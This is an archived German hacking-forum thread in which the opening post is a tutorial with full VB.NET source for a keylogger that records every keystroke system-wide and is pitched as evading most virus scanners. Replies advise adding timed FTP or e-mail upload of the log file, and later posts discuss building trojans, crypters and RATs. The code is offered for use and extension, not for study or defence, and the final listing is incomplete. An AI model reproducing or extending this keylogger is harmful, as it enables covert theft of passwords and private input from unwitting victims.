PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET][Einfacher Keylogger]



Chazer2010
09.04.2010, 12:26
Dieses Tutorial zeigt, wie man in vb.net einen einfachen, kleinen Keylogger coden kann, der von den wenigstens Virenscanner erkannt wird.

Das Tutorial richtet sich an Leute, die schon ein wenig Erfahrung mit vb.net haben. Ich werde daher nicht auf Einzelheiten, sondern nur die reine Funktionsweise eingehen.



Public Class Form1

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
End Sub
...
In dem oberen Codeabschnnit wird als erstes die Variable result als Integer deklariert, die später für den Schleifendurchlauf der Tastabfrage benötigt wird.

Die Funktion "GetAsyncKeyState()" stellt die Systemweite Tastenabfrage zur Verfügung. Wichtig hierbei ist der Übergabewert "vkey as Integer" und das ganze als "Short". Nur so funktioniert das ganze auch unter Vista und Windows 7!

Im Form1_Load Ereignis wird der Timer gestartet. Nach Ablauf der Intervalzeit, wird der Code in dem Timer_Tick Eriegnis ausgeführt.



...
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 6 To 255
result = 0
result = GetAsyncKeyState(i)
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End If
Next i
End Sub
Das Timer_Tick Ereignis löst also den jeweiligen Code nach dem angegeben Interval aus, sprich nach 1ms. Somit wird also durchgehend auf eine Tasteneingabe geprüft.

Die Schleife durchläuft nun alle dem System bekannten Standardtasten. Es wird von 6 bis 255 gezählt und nicht von 1 bis 255, um die Maustasten nicht in die Abfrage mit einzubeziehen.

Result wird nun auf "0" gesetzt und anschließend auf GetAsyncKeyState(i).
Nun wird mit Hilfe von If-Abfragen geprüft, ob es sich bei der Eingabe um einen dem System bekannten Key handelt. Dies erfolgt mit der Zuweisung
If result = -32767 then...Ist das der Fall wird der Key der Textbox1 angefügt.
TextBox1.Text = TextBox1.Text + UCase((Chr(i))) "Chr()" ist hierbei eine Funktion, an die sich ein CharCode als Integer übergeben lässt. In diesem Falle natürlich "i".

Mit
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End Ifwird geprüft ob zum Zeitpunkt der Eingabe Capslock oder Shift aktiviert ist um so zwischen Groß- und Kleinschreibung zu differenzieren.

HIER NOCHMAL DER CODE ALS GANZES:


Public Class Form1

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Integer) As Short

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 6 To 255
result = 0
result = GetAsyncKeyState(i)
If My.Computer.Keyboard.CapsLock Or My.Computer.Keyboard.ShiftKeyDown Then
If result = -32767 Then
TextBox1.Text = TextBox1.Text + UCase((Chr(i)))
End If
Else
If result = -32767 Then
TextBox1.Text = TextBox1.Text + LCase((Chr(i)))
End If
End If
End Class


So, ich hoffe das konnte dem ein oder anderem weiter helfen. Der Keylogger ist so wie er ist simpel gehalten, ohne jegliche Verschlüsselung, Mail oder FTP Support, weitere Abfragen von Sonderzeichen etc... Allerdings lässt sich darauf aufbauen, wenn man ein wenig Spaß an der Sache hat...

Würde mich über Feedback freuen!

Slawa
09.04.2010, 12:43
Jo, jetzt kanst du noch eine FTP Upload oder eine E-Mail Send Funktion einbauen. Aber wichtig ist, dass du vorher eine *.txt Datei oder sonst was erstellst, damit das geloggte gespeichert wird und nachher gesendet wird.
Dabei kann man einen Timer benutzen und den Interval per textBox z.B. im Builder angeben, damit in einem Zeitabstand z.B. jede 10 Minuten die Log Datei gesendet wird.

Anschließend bau lieber noch eine Random Funktion ein, damit die Upgeloadete Datei nicht mit der früheren Datei überschrieben wird, natürlich kanst du auch einen PC Namen verwendet und dahinter eine zufällige generierte Zahl z.B. PC Name_Zahl. Es gibt hier also praktisch viele Möglichkeiten, deswegn ist das ja ein Codebeispiel, natürlich kann man das auch anders machen.

Gruß

Slawa

Chazer2010
09.04.2010, 12:47
Hi, danke für deine Tipps, aber wie ich schon geschrieben habe, ist er absichtlich so schlicht gehalten. Alles was du geschrieben hast, habe ich bereits umgesetzt. Jedoch wollte ich hier auf die Basics eingehen... dennoch danke

Slawa
09.04.2010, 12:55
Ja, das ist auch das wichtigste, damit man das versteht, wenn man solche Basic codes schon gut versteht, dann kann auch etwas größeres daraus werden.


Gruß

Slawa

^[H]ard[S]tyle^
06.06.2010, 00:07
Hallo
Ich bin neu hier ich versuche jetz auch programmieren zu lernen. Ein bissel verstehe ich schon in vb was zu machen aber nicht sowas. Ich will umbedingt mal ein Keylogger oder ein Crypter programmieren, weil ich sowas einfach interresant finde^^.
Aber ich verstehe das nicht man brauch doch ein Button um den Trojaner zu machen oder wie ?
MFG hardstyle

100
06.06.2010, 00:52
Wenn du einen Trojaner Programmieren willst, fängst du zuerst mal mit einem Chat an. Wenn du einen Chat mit mehreren Usern programmiert hast, ist das Grundgerüst des Trojaners fertig.

Nach deinem Satz zu urteilen hast du allerdings überhaupt gar keine Ahnug.. es bedarf wesentlich mehr als einen Button um einen Trojaner zu erstellen. Was für einen Button überhaupt? Meinst du einen Builder? Das kommt GANZ GANZ am Ende und mal abgesehen davon, dass du nie so weit kommen wirst, solltest du dich auf den eigentlichen Trojaner (der da besteht aus Client und Server) beschränken.

Generell ist es ratsam nich mit "Ich will programmieren lernen, ich "programmiere" (ganz große Anführungszeichen) einen Trojaner" sondern mit "Ich will programmieren lernen, also lerne ich die Grundlagen meiner Sprache" an die Sache herantreten. Es bringt nämlich gar nichts sich immer komplette Zeilen ausm Internet zu ziehen und nicht zu verstehen was man da gerade tut.

S1024
06.06.2010, 01:16
Hallo,

Vielleicht solltest du dir mal die Semper Videos (richtig geschreiben?) angucken. Und zwar nicht das 130 - 132 als erstes sondern du solltest mit den 1. Anfangen und dich dann "hoch arbeiten".

In diesen Videos wird dir alles ausführlich in Bild und Sprache erklärt. Wenn ich nochmal ganz neu programmieren lernen müsste, würde ich die Videos nehmen und sie mir angucken, mit dem Code rum experimentieren, meine eigenden Ideen einfließen lassen. Und über Google bestimmten Code raussuchen sodass du bestimmtes abkürzen oder verbessern kannst.

Die Videos gibts auf Youtube. Ich verlinke einfach mal das erste Video.

http://www.youtube.com/watch?v=k32weGSkkpA

MfG
24

Sawyer
06.06.2010, 05:15
Noch besser wäre wohl ein Buch. Video-Training sind generell nicht besonders gut geeignet zum Lernen. Vor allem als Anfänger sollte man sich Dinge wie Rats, Crypter, Keylogger aus den Kopf schlagen. Ohne die dafür nötigen Grundkenntnisse wird das einfach nichts. Alles andere ist kopieren von Code.

MfG, Sawyer